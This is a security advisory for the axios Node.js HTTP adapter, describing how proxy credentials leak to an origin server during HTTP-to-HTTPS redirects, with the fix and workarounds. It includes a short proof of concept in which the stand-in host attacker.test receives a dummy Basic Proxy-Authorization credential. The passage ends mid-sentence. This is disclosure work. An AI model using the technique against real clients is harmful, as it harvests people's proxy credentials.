Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter
Summary
Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.
This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.
Impact
A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.
The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.
The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.
Affected Functionality
Affected functionality requires all of the following:
- Axios running in Node.js with the HTTP adapter.
- An initial
http:// request using an authenticated proxy from config.proxy or proxy environment variables. - Redirect following enabled.
- A redirect target for which no proxy applies, such as no matching
HTTPS_PROXY or a matching NO_PROXY. - A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.
Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.
Technical Details
In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.
Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.
The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.
The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.
Proof of Concept of Attack
Safe local outline using dummy credentials:
```js
process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;
// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');
```
Expected vulnerable behaviour:
```text
Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz
Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz
```
Expected fixed behaviour:
```text
Final HTTPS origin receives no Proxy-Authorization header.
```
Workarounds
Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.
Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.
<details>
<summary>Original Source</summary>
Summary
Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.
When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.
Details
The issue occurs during a proxy-to-direct transition across redirects.
When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.
In the affected flow, the final HTTPS origin receives a `Proxy-Au
